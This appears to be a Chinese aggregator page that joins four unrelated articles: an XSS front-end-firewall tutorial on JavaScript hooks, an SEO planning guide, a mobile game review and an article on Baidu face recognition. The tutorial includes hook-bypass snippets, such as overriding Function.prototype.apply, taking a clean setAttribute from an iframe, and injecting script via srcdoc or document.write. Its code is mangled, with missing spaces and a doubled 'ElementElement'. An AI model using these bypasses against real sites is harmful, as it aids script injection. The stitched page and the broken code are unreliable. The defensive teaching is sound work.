61阅读

无懈可击的意思-针对XSS漏洞的前端防火墙:无懈可击的钩子

发布时间:2017-08-09 所属栏目:无懈可击的意思

一 : 针对XSS漏洞的前端防火墙:无懈可击的钩子

昨天尝试了一系列的可疑模块拦截试验,尽管最终的方案还存在着一些兼容性问题,但大体思路已经明确了:

静态模块:使用 MutationObserver 扫描。

动态模块:通过 API 钩子来拦截路径属性。

提到钩子程序,大家会联想到传统应用程序里的 API Hook,以及各种外挂木马。当然,未必是系统函数,任何 CPU 指令都能被改写成跳转指令,以实现先运行自己的程序。

无论是在哪个层面,钩子程序的核心理念都是一样的:无需修改已有的程序,即可先执行我们的程序。

这是一种链式调用的模式。调用者无需关心上一级的细节,直管用就是了,即使有额外的操作对其也是不可见的。从最底层的指令拦截,到语言层面的虚函数继承,以及更高层次的面向切面,都带有这类思想。

对于JavaScript 这样灵活的语言,任何模式都可以实现。之前做过一个网页版的变速齿轮,用的就是这类原理。

JavaScript 钩子小试

要实现一个最基本的钩子程序非常简单,昨天已演示过了。现在我们再来给 setAttribute 接口实现一个钩子:

  1. //保存上级接口
  2. varraw_fn=Element.prototype.setAttribute;
  3. //勾住当前接口
  4. Element.prototype.setAttribute=function(name,value){
  5. //额外细节实现
  6. if(this.tagName=='SCRIPT'&&/^src$/i.test(name)){
  7. if(/xss/.test(value)){
  8. if(confirm('试图加载可疑模块:\n\n'+url+'\n\n是否拦截?')){
  9. return;
  10. }
  11. }
  12. }
  13. raw_fn.apply(this,arguments);
  14. };
  15. //创建脚本
  16. varel=document.createElement('script');
  17. el.setAttribute('SRC','http://www.etherdream.com/xss/alert.js');
  18. document.body.appendChild(el);

Run

类似昨天的访问器拦截,现在我们对 setAttribute 也进行类似的监控。因为它是个函数,所有主流浏览器都兼容。

钩子泄露

看起来似乎毫无难度,而且也没什么不对的地方,这不就可以了吗?

如果最终就用这代码,那也太挫了。我们把原始接口都暴露在全局变量里了,攻击者只要拿了这个变量,即可绕过我们的检测代码:

  1. varel=document.createElement('script');
  2. //直接调用原始接口
  3. raw_fn.call(el,'SRC','http://www.etherdream.com/xss/alert.js');
  4. document.body.appendChild(el);

Run

靠,这不算,这只是我们测试而已。现实中谁会放在全局变量里呢,这年头不套一个闭包的脚本都不好意思拿出来。

好吧,我还是放闭包里,这总安全了吧。看你怎么隔空取物,从我闭包里偷出来。

  1. (function(){
  2. //保存上级接口
  3. varraw_fn=Element.prototype.setAttribute;
  4. ...
  5. })();

不过,真要偷出来,那绝对是没问题的!

这个变量唯一用到的地方就是:

  1. raw_fn.apply(this,arguments)

这可不是一个原子操作,而是调用了 Function.prototype.apply 这个全局函数。神马。。。这。是真的,不信你可以试试!

不用说,你也懂了。我还是说完吧:我们可以重写 apply,然后随便给某个元素 setAttribute 下,就可以窃听到钩子传过来的 raw_fn 了。

  1. Function.prototype.apply=function(){
  2. console.log('哈哈,得到原始接口了:',this);
  3. };
  4. document.body.setAttribute('a',1);

Run

针对XSS漏洞的前端防火墙:无懈可击的钩子_钩子

这也太贱了吧,不带这样玩的。可人家就能用这招绕过你,又怎样。

你会想,干脆把 Function.prototype.apply 也提前保存起来得了。然后一番折腾,你会发现代码变成 apply.apply.apply.apply...

毕竟,apply 和 call 已是最底层了,没法再 call 自己了。

这可怎么办。显然不能再用 apply 或 call 了,但不用它们没法把 this 变量传进去啊。回想下,有哪些方法可以控制 this 的:

obj.method()

method.call(obj)

貌似也就这两类。排除了第二种,那只剩最古老的用法了。可是我们已经重写了现有的接口,再调用自己那就递归溢出了。

但是,我们可以给原始接口换个名字,不就可以避免冲突了:

  1. (function(){
  2. //保存上级接口
  3. ElementElement.prototype.__setAttribute=Element.prototype.setAttribute;
  4. //勾住当前接口
  5. Element.prototype.setAttribute=function(name,value){
  6. //额外细节实现...
  7. //向上调用
  8. this.__setAttribute(name,value);
  9. };
  10. })();

Run

这样倒是甩掉 apply 这个包袱了,但是无论取『__setAttribute』,还是换成其他名字,人家知道了,照样可以拿出原始接口。所以,我们得取个复杂的名字,最好每次还都不一样:

  1. (function(){
  2. //取个霸气的名字
  3. vartoken='$'+Math.random();
  4. //保存上级接口
  5. Element.prototype[token]=Element.prototype.setAttribute;
  6. //勾住当前接口
  7. Element.prototype.setAttribute=function(name,value){
  8. //额外细节实现...
  9. //向上调用
  10. this[token](name,value);
  11. };
  12. })();

Run

现在,你完全不知道我把原始接口藏在哪了,而且用 this[token](...) 这个巧妙的方法,同样符合刚才列举的第一类用法。

问题似乎。。。解决了。但,总感觉有什么不对劲。。。人家不知道变量藏哪了,难道不可以找吗。把 Element.prototype 遍历下,一个个找过去,不相信会找不到:

  1. for(varkinElement.prototype){
  2. console.log(k);
  3. if(k.substr(0,1)=='$'){
  4. console.error('楼上的,你这名字那么猥琐,敢露个面吗');
  5. console.error(Element.prototype[k]);
  6. }
  7. }

Run

针对XSS漏洞的前端防火墙:无懈可击的钩子_钩子

取了个这么拉风的名字,就象是黑暗中的萤火虫,瞬间给揪出来了。你会说,为什么不取个再隐蔽点的名字,甚至还可以冒充良民,把从来不用的方法给替换了。

不过,无论想怎么躲,都是徒劳的。有无数种方法可以让你原形毕露。除非 —— 根本不能被人家枚举到。

属性隐身术

如果没记错的话,主流 JavaScript 里好像还真有什么叫enumerable、configurable 之类的东西。把它们搬出来,看看能不能赋予我们隐身功能?

马上就试试:

  1. //嘘~要隐身了
  2. Object.defineProperty(Element.prototype,token,{
  3. value:Element.prototype.setAttribute,
  4. enumerable:false
  5. });

Run

神奇,红红的那坨字果然没出现。看来真的隐身了!

到此,原函数泄露的问题,我们算是搞定了。

不过暂时还不能松懈,为什么?连 apply 都能被山寨,那还有什么可以相信的!那些正则表达式的 test 方法、字符串的大小写转换、数组的 forEach 等等等等,都是可以被改写的。

要是人家把 RegExp.prototype.test 重写了,并且总是返回 false,那么我们的策略判断就完全失效了。

所以,我们得重复上面的步骤,把这些运行时要用到的全局方法,都得随机隐匿起来。

锁死 call 和 apply

不过,隐藏一个还好,大量的代码都用这种 Geek 的方式,显得很是累赘。

既然能有隐身那样神奇的魔法,难道就没有其他类似的吗?事实上,Object.defineProperty 里还有很多有意思的功能,除了让属性不可见,还能不可写、不可删等等。

可以让属性不可写?太好了,不如干脆把 Function.prototype.call 和 apply 都事先锁死吧,反正谁会无聊到重写它们呢。

  1. Object.defineProperty(Function.prototype,'call',{
  2. value:Function.prototype.call,
  3. writable:false,
  4. configurable:false,
  5. enumerable:true
  6. });
  7. //apply也一样

马上看看效果:

  1. Function.prototype.call=function(){
  2. alert('hello');
  3. };
  4. console.log(Function.prototype.call);

果然还是

  1. functioncall(){[nativecode]}

Run

现在,我们大可放心的使用 call 和 apply,再也不用鼓捣那堆随机属性了。

不过这种随机+隐藏的属性,今后还是有用武之地的,常常用来给公开的对象做个秘密的记号,所以没有白折腾。

到此,我们终于可以松口气了。

新页面反射

别高兴的太早,真正的难题还在后面呢。

既然人家想破解,是会用尽各种手段的,并不局限于纯脚本。因为这是在网页里,攻击者们还可以呼唤出各种变幻莫测的浏览器功能,来躲避我们。

最简单的,就是创建一个框架页面,然后通过 contentWindow 即可获得一个全新的环境:

  1. //反射出纯净的接口
  2. varfrm=document.createElement('iframe');
  3. document.body.appendChild(frm);
  4. varraw_fn=frm.contentWindow.Element.prototype.setAttribute;
  5. //创建脚本
  6. varel=document.createElement('script');
  7. raw_fn.call(el,'SRC','http://www.etherdream.com/xss/alert.js');
  8. document.body.appendChild(el);

Run

这时,我们的钩子程序就被瞬间秒杀了。

尽管同源页面之间是可以相互访问,但其所在的环境却是隔离的。子页面所有的一切都是独立的副本,完全不受主页面影响。

不过,既然能够访问子页面,显然也能给它们的环境安装上钩子。每当有新的框架元素出现时,我们就立即对其注入防护程序,让用户获取到的 contentWindow 已是带有钩子的。

类似传统的应用程序,每当调用其他程序时,安全软件需将新创建的进程加以防护。

你说会这很容易办到。将 createElement 方法勾住,然后在里面判断创建的是不是框架元素,如果是的话就直接防护子页面,不就可以了吗?

显然,这是经不起实践的。事实上,只要测试下你就会发现,未挂载到主节点的框架元素,contentWindow 始终是 null。也就是说,必须在调用 appendChild 之后才开始初始化子页面。

因此,我们得借助之前研究的节点挂载事件,找到一个能在 appendChild 之后,但在用户获取 contentWindow 之前触发的事件。

  1. varobserver=newMutationObserver(function(mutations){
  2. console.log('MutationObserver:',mutations);
  3. });
  4. observer.observe(document,{
  5. subtree:true,
  6. childList:true
  7. });
  8. document.addEventListener('DOMNodeInserted',function(e){
  9. console.log('DOMNodeInserted:',e);
  10. },true);
  11. //反射出纯净的接口
  12. varfrm=document.createElement('iframe');
  13. console.warn('begin');
  14. document.body.appendChild(frm);
  15. console.warn('end');
  16. varraw_fn=frm.contentWindow.Element.prototype.setAttribute;
  17. /**输出
  18. begin
  19. DOMNodeInsertedMutationEvent
  20. end
  21. MutationObserver:Array[1]
  22. MutationObserver:Array[1]
  23. */

Run

这不,DOMNodeInserted 就能满足我们的需求。于是,我们使用它来监控框架元素。

一旦发现有框架挂载到主节点上,我们赶紧把它的接口也装上钩子:

  1. //我们防御系统
  2. (function(){
  3. functioninstallHook(window){
  4. //保存上级接口
  5. varraw_fn=window.Element.prototype.setAttribute;
  6. //勾住当前接口
  7. window.Element.prototype.setAttribute=function(name,value){
  8. //试试
  9. alert(name);
  10. //向上调用
  11. raw_fn.apply(this,arguments);
  12. };
  13. }
  14. //先保护当前页面
  15. installHook(window);
  16. document.addEventListener('DOMNodeInserted',function(e){
  17. vareelement=e.target;
  18. //给框架里环境也装个钩子
  19. if(element.tagName=='IFRAME'){
  20. installHook(element.contentWindow);
  21. }
  22. },true);
  23. })();
  24. //反射出纯净的接口
  25. varfrm=document.createElement('iframe');
  26. document.body.appendChild(frm);
  27. varraw_fn=frm.contentWindow.Element.prototype.setAttribute;
  28. //创建脚本
  29. varel=document.createElement('script');
  30. raw_fn.call(el,'SRC','http://www.etherdream.com/xss/alert.js');
  31. document.body.appendChild(el);

Run

完美!对话框成功弹出来了!即使从框架页里反射出新环境,仍然带有我们的钩子程序。

不过,貌似还漏了些什么。要是从框架页里再套框架页,我们就杯具了:

  1. //创建框架页
  2. varfrm=document.createElement('iframe');
  3. document.body.appendChild(frm);
  4. //创建框架页的框架页
  5. vardoc=frm.contentDocument;
  6. varfrm2=doc.createElement('iframe');
  7. doc.body.appendChild(frm2);
  8. //反射接口
  9. varraw_fn=frm2.contentWindow.Element.prototype.setAttribute;
  10. //创建脚本
  11. varel=document.createElement('script');
  12. raw_fn.call(el,'SRC','http://www.etherdream.com/xss/alert.js');
  13. document.body.appendChild(el);

Run

针对XSS漏洞的前端防火墙:无懈可击的钩子_钩子

前面说了,每个页面环境是独立的,主页面是捕捉不到子页面里的事件的。所以,框架页里创建元素,我们完全不知道。

怎么破?这还不简单,索性给框架页也绑上 DOMNodeInserted 事件,不就可以层层监控了吗。无论框架的几次方,都逃不过我们的火眼金睛了。

  1. //我们防御系统
  2. (function(){
  3. functioninstallHook(window){
  4. //保存上级接口
  5. varraw_fn=window.Element.prototype.setAttribute;
  6. //勾住当前接口
  7. window.Element.prototype.setAttribute=function(name,value){
  8. //试试
  9. alert(name);
  10. //向上调用
  11. raw_fn.apply(this,arguments);
  12. };
  13. //监控当前环境的元素
  14. window.document.addEventListener('DOMNodeInserted',function(e){
  15. vareelement=e.target;
  16. //给框架里环境也装个钩子
  17. if(element.tagName=='IFRAME'){
  18. installHook(element.contentWindow);
  19. }
  20. },true);
  21. }
  22. //先保护当前页面
  23. installHook(window);
  24. })();

Run

只需简单的小改动。我们把 DOMNodeInserted 放到 installHook 里,这样在安装钩子的同时,也对当前 window 中的元素进行监控。一旦出现框架元素,就递归防护。

现在,我们的框架页监控已是天衣无缝了。

新页面逆向控制

不过,世上没有绝对的事。

我们只考虑了正向的反射,却忘了框架也可以逆向控制主页面。攻击者要是能把 XSS 脚本注入到框架页里,同样也可以向上修改主页面里的内容,发起信任攻击。

在框架里引入脚本,方法就更多了。框架元素虽然是动态创建的,但其内容可以静态呈现:

  1. //创建框架页
  2. varfrm=document.createElement('iframe');
  3. document.body.appendChild(frm);
  4. //静态呈现
  5. frm.contentDocument.write('<\scriptsrc=http://www.etherdream.com/xss/alert.js><\/script>');

Run

这只是随便列举了一种。事实上,HTML5 还新增一个可以直接控制框架页内容的属性:srcdoc。

  1. <iframesrcdoc="<scriptsrc=http://www.etherdream.com/xss/alert.js></script>"></iframe>

Run

并且还是在同源环境中执行的:

  1. <iframesrcdoc="<script>parent.alert('callfromframe')</script>"></iframe>

Run

搞了半天结果还是能被绕过。

不过别灰心,经测试,document.write 出来的内容是可以被 MutationObserver 捕获到的。至于 srcdoc 嘛,这个偏门的属性完全可以把它禁掉,或者重写访问器,把 HTML 内容用其他办法代理到页面上去。反正这又不是主流的用法,只要最终效果一样就没问题了。

当然,要是在主页面里 document.write 怎么办?脚本确实能运行,但不白屏了吗。如果觉得这有风险,可以在 DOMContentLoaded 之后,把 document.write 也屏蔽掉,以免后患。

后记

虽说魔高一尺道高一丈,但再牢固的钩子还是有意想不到的办法绕过的。因此我们得与时俱进,不断修缮来强化防御能力。

到目前为止,我们已对脚本、框架、API 接口实现了主动防御。但是,具备执行能力的元素并不止这些。

例如 Flash 就可以运行页面中的脚本,光是它就占用了 object,embed,param 那么多元素。

而且,API 防护钩子并不全面,只是例举了几个常用的。

下一篇,我们将详细的整理需要防护的监控点,实现全方位的防护。

二 : 教你撰写一套无懈可击的SEO计划方案

  网站在上线之前,我们就应该要对网站进行一个合理的规划,并且制定出一份完美的SEO计划出来,而且要按照这份SEO计划一步一步地实施下去,从而,使网站可以持续稳定地发展下去,这个就是我们制定SEO计划的重要作用了,因为,制定一份完美的SEO计划,不仅可以让你的网站有一个很明确的发展方向,而且,还可以提高你网站的关键词排名情况了,何乐而不为呢?那么,我们应该要如何制定一套无懈可击的SEO计划方案呢?接下来,岑辉宇就给大家仔细讲解一下吧!

  一、分析SEO关键词

  网站建站前期,第一步要做的就是分析SEO关键词了,我们把要做的SEO关键词一个一个地详细列出来,然后,在对每个SEO关键词进行分析,把一些比较有用户搜索的SEO关键词筛选出来,把一些比较冷门的SEO关键词淘汰掉,但是,这里岑辉宇建议,可以适当做一些没指数的,但是,未来有一定发展潜力的词了,最后,就是要了解网站里每个栏目页的SEO需求是什么了,话句话说也就是:要先确定你网站的每个栏目需要做什么内容,再在把关键词放进该栏目里,使其更加匹配。

  1、分析用户搜索需求

  分析用户的搜索需求这点是比较重要的,也是最基础的一个东西了,那么,我们应该要怎么分析用户的搜索需求呢?这里岑辉宇SEO博客就给大家讲一下把,我们可以利用百度的搜索下拉框,还有搜索结果页面上展示的内容,和相关搜索结果所展示出来的内容来分析,当然,还可以利用百度指数来分析了。这里我们就不讲百度指数了,主要讲前面三个方法:

  我们利用百度下拉框,可以看出哪些词是用户比较关注的词,也就是有用户搜索的,百度会根据搜索的频率由高到低进行排列出来,然后,在搜索结果页面上的内容,我们可以分析哪些词的排名情况是比较好的,从而,得出结论,就是这些词同样是用户比较关注的,最后,就是相关搜索结果了,这个就是一个辅助的分析用户搜索需求的板块了,通过分析百度相关搜索结果,我们可以得出结论,也就是搜索了这个关键词的这类用户,还会比较关心一些什么样的词,从而,我们可以对关键词进行长尾关键词的拓展。

  2、尽量不要设置太多关键词

  在分析完了用户的搜索需求之后,接下来就是设置关键词了,我们在设置网站首页关键词的时候,如果你的关键词设置的指数比较高,而且,你的网站还是属于新站的话,那么,这里建议大家不要设置太多的关键词,因为,这样比较有利于你网站该高指数关键词的排名情况了,如果设置很多关键词的话,就会导致关键词的匹配程度比较分散,从而,就会影响了你该高指数关键词的排名了,所以,在满足关键词是高指数而且你的网站是属于新站的两种情况下,如果你的网站想要获取好的排名情况的话,最好不要设置太多的关键词。

  3、注意关键词的整体搜索热度

  在完成了上面两点之后,接下来就是注意事项了,我们在设置关键词的时候,一定要注意关键词的搜索热度,也就是关键词的指数了,如果,你所选择的关键词搜索热度过高的话,那么,这样的关键词是比较难优化上首页的,因为,这样高指数的关键词一般竞争程度都很大,甚至有的都是投放百度竞价的,所以,我们尽量拓展这类高指数关键词的长尾词,或是选择另外一个同义词了,当然,我们也不能选择一些没有什么搜索热度的词,也就是没有指数的关键词了,因为,这类词既然没有搜索热度,也就是比较没有用户搜索的,并且是相对比较冷门的关键词,如果设置了这样的关键词的话,就会导致你网站没有什么自然用户点击浏览量了,所以,我们在设置关键词的时候,一定要注意分析关键词的整体搜索热度。

  4、注意关键词与网站的相关度

  我们在注意分析关键词的整体搜索热度之后,还需要注意的是关键词与网站的相关度了,这个是什么意思呢?所谓的关键词与网站的相关度我们可以简单地理解为,关键词与网站的关联程度了,例如:你的网站做的是SEO之类的站点,那么,你所设置的关键词一定要和SEO相关的关键词,比如:SEO优化,SEO技术等,而不能设置一些和SEO不相关的关键词了,比如:装修、婚庆等。当然,这里只是给大家举个比较夸张的例子,正常情况下大家肯定不会用这样差别比较大的词去做关键词的,具体的大家可以以这个例子来做比较和分析。

  二、网站内容和关键词的部署策略

  在分析好了SEO关键词之后,接下来,就进入了另一个比较重要的环节了,就是网站内容和关键词的部署了,这个就需要讲究策略了,具体的主要分为以下几点:

  1、分析用户搜索行为

  首先,我们需要分析用户的搜索行为了,我们可以换位思考一下,当用户进来我们网站的之后,用户一般会搜索我们站内的什么关键词,浏览什么样的内容,当然,这里有个前提,就是你要先确定你网站的受众用户群体有哪些了,然后,就是针对主要的受众用户群体来进行关键词的部署了,我们可以依据用户的搜索行为,把网站的主导航关键词从左往右进行部署,把一些用户比较关注的关键词部署到网站主导航的越左边,这样不仅可以增加网站的用户体验,而且,还可以使你该栏目的关键词获得比较好的排名情况了。

  2、重视网页三要素TDK的写作

  在对关键词进行部署之后,接下来,就是要重视网页三要素TDK的写作了,其中,网页三要素中的T(title)也就是网页的标题这个是比较重要的,以目前来说,是最直接地影响关键词的排名情况的,所以,一定要注意网页标题关键词的写作,然后,就是网页三要素中的D(description)网页描述和K(keywords)网页关键词了,这两个网页要素是可以辅助提高关键词的匹配程度和关键词的排名了,所以,同样也是很重要的。

  3、文章内容和关键词的融合

  文字内容和关键词一定要融合起来,这个是什么意思呢?也就是我们在写文章的时候,要在文章中加入我们要做的关键词了,这里岑辉宇就给大家讲一下技巧吧,我们一般情况下,可以在文章中加入3个左右的关键词,这个依文章字数而定,1500字可以加入3-4个关键词,2000字以上可以加5-6个关键词,这个是极限了。我们可以分别在文章的首尾给加入一个关键词,然后,在文章的中间加入2-4个关键词,这样就是可以提高关键词的出现频率,也就是适当提高关键词的密度了。

  4、给关键词添加锚文本

  我们还可以给关键词添加锚文本,但是,这里有几个注意事项需要给大家讲解一下的,就是文章中给关键词添加锚文本,必须要注意锚的关键词要与该文章的相关性要强,而且,做的关键词锚文本数量最好不能超过3个,还有就是锚的关键词一定要自然,要在关键词出现的第一个就可以做锚文本了,锚文本可以在文章的首尾还有文章的中间各加一个,当然,具体得看你的关键词出现在哪里了。

  三、网站“站内链接”的合理建设

  对我们网站的站内链接进行合理的建设也是十分重要的,因为,把网站的站内链接做好了之后,就可以无形地给网站制作出一张网出来,从而,有利于搜索引擎蜘蛛的爬取,并且,加大文章的收录情况了,对于用户来说,如果,网站的站内链接做得很好,还可以提高用户的体验度,并且,还可以有效降低网站的跳出率,因此,网站的站内链接建设尤为重要。

  那么,这里岑辉宇SEO博客在给大家补充说明一点,就是网站的站内链接建站主要包括:站内锚文本链接和相关推荐文章链接了,当然,还有一些热门文章之类的板块了,这个是比较次要的。我们主要做好站内锚文本链接和相关推荐文章链接即可。

  四、网站全站地图的制作

  在做好了网站站内链接的合理建设之后,接下来,就是对网站全站的地图进行制作了,这里主要给大家讲两种格式的网站地图制作,具体大家可以往下看!

  1、XML格式的网站地图

  XML格式的网站地图我们一般称它为蜘蛛地图,主要是给搜索引擎蜘蛛爬取用的,制作这种XML格式的网站地图的好处就是,可以加大搜索引擎蜘蛛的爬取深度,从而,提高网站站内文章的收录情况了。

  2、HTML格式的网站地图

  HTML格式的网站地图我们一般称它为用户地图,主要是给访问我们网站的用户看的,制作这种HTML格式的网站地图的好处就是,可以方便用户浏览我们网站的所有文章内容,从而,提高网站的用户体验度了。

  五、网站“外部链接”的合理建设

  在完成了上面的所有操作之后,接下来,就是对网站外部链接进行合理的建设了,这个也就是我们常说的发外链了,那么,具体应该要怎么做呢?这里岑辉宇就给大家讲一下吧,对网站进行外链建设主要的目的就是为了引蜘蛛和引流量了,当然,这里还有一些注意事项需要给大家讲一下,就是我们在发外链的时候,一定要注意外链文章的质量,而且,还要注意所发布的外链与第三方外链平台的相关性一定要强,比如:我们的网站是做装修的,那么,我们发的外链一定要到一些装修类的论坛或是贴吧等平台去发布,而不能去一些婚庆之类的网站发布。

  这里岑辉宇SEO博客在给大家补充说明一下,就是我们在做网站外链建设的时候,主要做的工作就是交换友情链接和到第三方平台去发布外链了,大家应该知道,友情链接也是属于外链中的一种,而且,是外链中质量最高的,而且可控性也是比较强的一种外链形式了,这里就主要给大家讲一下交换友情链接的一些注意事项了。

  我们在交换友情链接的时候,一定要注意检查对方网站是否又被搜索引擎惩罚过的,我们可以用SITE指令来检查,看看对方的网站首页有没有在搜索引擎的第一页,如果,没有就是被惩罚了;还有就是检查对方网站是否有权重,因为,众所周知,我们交换友情链接就是为了是网站与网站之间互相传递权重;还有就是检查对方网站的运行速度快慢,如果对方网站运行速度太慢的话或是运行不稳定的话,我们也不要和他交换,因为,搜索引擎对于一个运行速度慢或不稳定的网站的印象是不好的,这类的站点也不利于搜索引擎蜘蛛的爬取;还有就是检查对方网站友情链接交换的数量了,如果对方网站的友情链接交换的数量过多的话,我们也不要和他换,因为,对方网站换了太多友情链接,如果我们在和他换的话,我们所能得到对方网站传递过来的权重也就越少,而且,友情链接交换数量过多的话,是一种搜索引擎认为的作弊行为,也就是优化过度了。

  文章的最后,岑辉宇就给大家总结一下全文重点吧,给网站制定一份完美的SEO计划是至关重要的,因为,一份完美的SEO计划不仅能给网站一个明确的发展方向,而且,还可以提高网站的关键词排名情况。那么,我们应该要怎么才能给网站制定出一份完美的SEO计划呢?例如:1、分析SEO关键词,主要的内容包括:分析用户搜索需求、尽量不要设置太多关键词、注意关键词的整体搜索热度、注意关键词与网站的相关度;2、网站内容和关键词的部署策略,主要的内容包括:分析用户搜索行为、重视“网页三要素TDK”的写作、文章内容和关键词的融合、给关键词添加锚文本;3、网站“站内链接”的合理建设、4、网站全站地图的制作,主要的内容包括:XML格式的网站地图的制作、HTML格式的网站地图的制作;5、网站“外部链接”的合理建设。

  本文由@岑辉宇原创,转载请注明出处。

  更多SEO基础教程和高级视频请关注岑辉宇SEO博客:http://www.chyseo.net/

三 : 无懈可击的弹球 安卓疯狂游戏《一球爆破》评测

小编最近总是在寻思着如何寻找一些暴力而又不受约束的手段来发泄一下自己内心的不满,砸东西、骂人那不是身为现代文明人该做的事情(貌似暴力发泄本身就不存在好与不好⊙﹏⊙),如何既能发泄又可以达到不损形象的呢?伤神了吧,其实没关系,小编的苦苦研究可不是白费的,就让你所有的烦恼忧愁随着炮弹与靶子的摩擦一并爆裂释放吧。今天这款带着一球爆破快感的Blast A Ball绝对可以让您心满意足。

评测手机:MOTO XT702

手机平台:Android 2.2

小编是通过安卓驱动对一球爆破(Blast A Ball)这款游戏进行一键式下载安装的。亲测无毒无插件,安全可用。同时小编可以告诉热爱游戏而缺乏手机的用户,一球爆破这款游戏同样也是可以在aPad上运行的哦。

点击游戏图标开始运行,进度条读取完毕之后会出现询问用户关于音量开关的选项。(- -!感觉有点傻眼,怎么都是英文呢?)游戏采取的是仿3D视觉效果,主界面是两颗表情相反的炮弹,伴随着显眼的“PLAY”字样不停的围绕这屏幕飞速旋转,好像在说“谁挡着我就炸掉谁!”从视觉上来说,给玩家带来的发泄的效果还是很强的。

一球爆破的开场界面

进入游戏之后,屏幕会对整个场景做一个大致的扫描。之后我们就能够看到一门大炮被架在了场上,场上的靶子虽然是固定的,但是想真正命中红心让炸弹爆炸那可是有着一定难度。每个小关卡用户都只有一次机会,小编猜想这就是游戏为什么叫做一球爆炸的原因吧。嘿嘿,稍微YY一下。

一球爆破的场景预览

说了些废话还是说说怎么玩吧。小编猜想很多朋友应该已经了解了,不过还是有必要对不知道到玩法的玩家做一个交代,否则辜负了慕名而来的那些朋友啦。我们可以通过屏幕左边的红色长条的上下油桶来对炮弹的爆破力度进行设置,完成之后开始选择炮弹的发射角度吧,点击“FIRE”开炮!小编需要提醒各位玩家的是,在开炮时需要把握好靶框的移动位置与速度,炮弹必须穿过靶框并且将靶子击倒才能够得到比较高得分数。

一球爆破准备射击画面

炮弹在发射这之后会带着一种非常凶狠搞怪的表情向着目标飞去,因为小编的技术不是很好。老让炮弹飞得很高或者是偏低,那么一些精彩的画面就基本与小编无缘啦。不过在炮弹着地的瞬间,我们还是能够看到炮弹那近似晕厥的“蚊香眼”。哈哈哈,是不是觉得自己很久没有笑得这么开心了。

一球爆破炮弹飞行场景

嗯嗯,很多玩家貌似都比小编有天赋。老天呀,我打了几次为什么那几个长相和蔼的“可恶”老头都只给我1分呢?呜呜呜,欺负人。其实在完美命中目标的时候裁判们才会给予相应较高的分数评比。慢慢练习吧,在过程中你会发现你的心境也在随着时间慢慢的平静。

一球爆破裁判评分

整个过程完成之后游戏会出现三个提示选项。1.重新开始本局;2.关卡选择;3.进入到下一关。用户对之前的评分不满意或是觉得并不能满足快感,那么久再去尝试挑战一下新的记录吧。其实呢,对于新手小编有一些小窍门要告诉大家,在炮弹安装准备的过程中用户是能够使用一些小道具来“作弊”的。

一球爆破的过关画面

游戏本身是极具可玩性的,因为关卡的设置方面是非常丰富的。这就保证了游戏的多样性。随着游戏过关而解锁的不同关卡,与之前相比难度也会有一定系数的增加,如何操控好这一切来达到自己预期的效果,这就需要玩家们自行把握啦。

一球爆破解锁过关

评测就在时间流逝之中又要结束了,小编为了各位友友的手机安全呢特意为一球爆破这个游戏做了一次小小的安全检查。结果是很明显的,对于内存的消耗作为休闲小游戏来说把持得非常的好,仅仅只有1.3M。而在安全方面也并没有发现任何恶评的病毒与插件。

一球爆破的安检情况

一球爆破总评:

功能性评分:

安全性评分:

实用性评分:

泡椒小编点评:

一球爆破作为一款以休闲发泄为主的益智游戏来说是制作的比较成功的作品,但小编觉得在画面上还是需要做一些细节上的处理,因为眼睛是心灵的窗户嘛,只有在视觉上达到满足之后我们才更能深入去挖掘到游戏更深层次的内容。在操作与其他设置方面也是可圈可点。总而言之,整个游戏都体现的非常人性化,是非常适合发泄的优秀作品。

来源:泡椒网http://www.paojiao.cn

四 : 水哥输了,百度人工智能真的无懈可击吗?

《最强大脑》节目开播已经有几年了,这种脑力竞赛的电视选秀让观众频频感叹自己这种白痴是怎么活到现在的。

而事实上《最强大脑》的这种记忆比赛和奥运会项目是类似的,参赛的都是天赋异禀且经过后天训练的选手。一个乒乓球选拔进入青年队,训练几年的少年,往往就能击败业余的乒乓球好手,所以《最强大脑》选手让普通人感觉自己是白痴也就不奇怪了。

54d306844fefd.jpeg

而2017年后,百度的人工智能加入《最强大脑》引发了争议,特别是上一期,有万千粉丝的水哥王昱珩被击败,让粉丝大感意外,各种谣言风起。百度人工智能真的有那么强大吗?节目有没有问题呢?

为什么要加大难度?

罗生门就是一人一个真相,而从各方信息和王自己的说法,我们大致可以推断出比较接近事实的情况。

首先,一个节目是要经过彩排的,而从各方透露的消息看,在彩排中王昱珩不是三个全错,而是三个全对。他的速度也快于人工智能,两者都对打平,而人工智能与人都没有时间限制,所以王昱珩才提出要加大难度,降低亮度。

这也是嘉宾所提到的王昱珩要求加大难度的事情。在正式节目中,王昱珩一直在说大话,信心十足,其信心正是再来于彩排过程中与百度大脑直接对话的结果。

王昱珩自己的说法是,他认为降低亮度会让噪点增加,计算机在做处理是时候会有变形,从而降低计算机的识别率,提升自己的胜率。

而事实上,高感光设备拍摄的图像并没有那么多噪点,我们在电视中看到的图像暗是暗了,但是细节没有丢失,噪点没有增加。计算机通过图像调节完全可以解决亮度问题,王昱珩的要求单方面加大了自己的难度,造成选择错误。

王昱珩实际上是掉进了自己设置的坑里面。

为什么计算机识别错误离谱

在节目设定的三张识别中,计算机识别的第二人非常离谱。王昱珩虽然选择错了,但是他选的人与正确答案的人相貌非常类似,而计算机选择的完全是另外一个画风。

我认真看了一下节目,刻意按了暂停观察每一个人的脸部特征。在节目的考题中,第一个嘴两侧比较深,有点尖嘴猴腮;第二个明显是个胖子,但是从高向下俯视,有明显的人脸变形,自拍从上往下会显得脸小;第三个眼睛比较小,眉毛比较平。

王昱珩选择的三个方向都是对的,他选择的三个人都有明显的特征,只是最后从候选人中挑的时候挑错了。虽然有消息说,挑选的视频是补拍的,但是我相信他确实是从候选人中挑选的,只是没有写出来,后来补拍了写的过程。

而人工智能第二个犯了明显的错误,从上往下看,人脸会瘦,结果它选了个瘦子。说明百度这个算法相比人类还是有问题的。百度人工智能并没有判断对图像的角度,像人一样因为俯视自动脑补修正,所以人工智能选了离谱的答案。

而百度那套人脸识别,我是看过他们宣传的ppt细节。百度这套人工智能先识别脸的轮廓,判断图像的那一部分是脸,然后再识别五官轮廓,确认基本身份,是白人黑人,大人小孩,最后是表情的东西,纠正表情带来的变形。

对于挡着脸看剩余五官特征的测试,百度这套人脸识别一定是比人强的。五官计算机能分别识别对比,人只能有大概印象。如果第二个不是角度俯视,计算机没搞清变形问题,那么人类最多打平计算机。

而王昱珩最后三个都选错了是太遗憾了。特征对了,人找错了。

百度人工智能无懈可击吗?

百度人脸识别这套东西已经搞了好几年了,在国际上参加测试得分也不错。识别率超过人类一般水平在一年前就达到了。

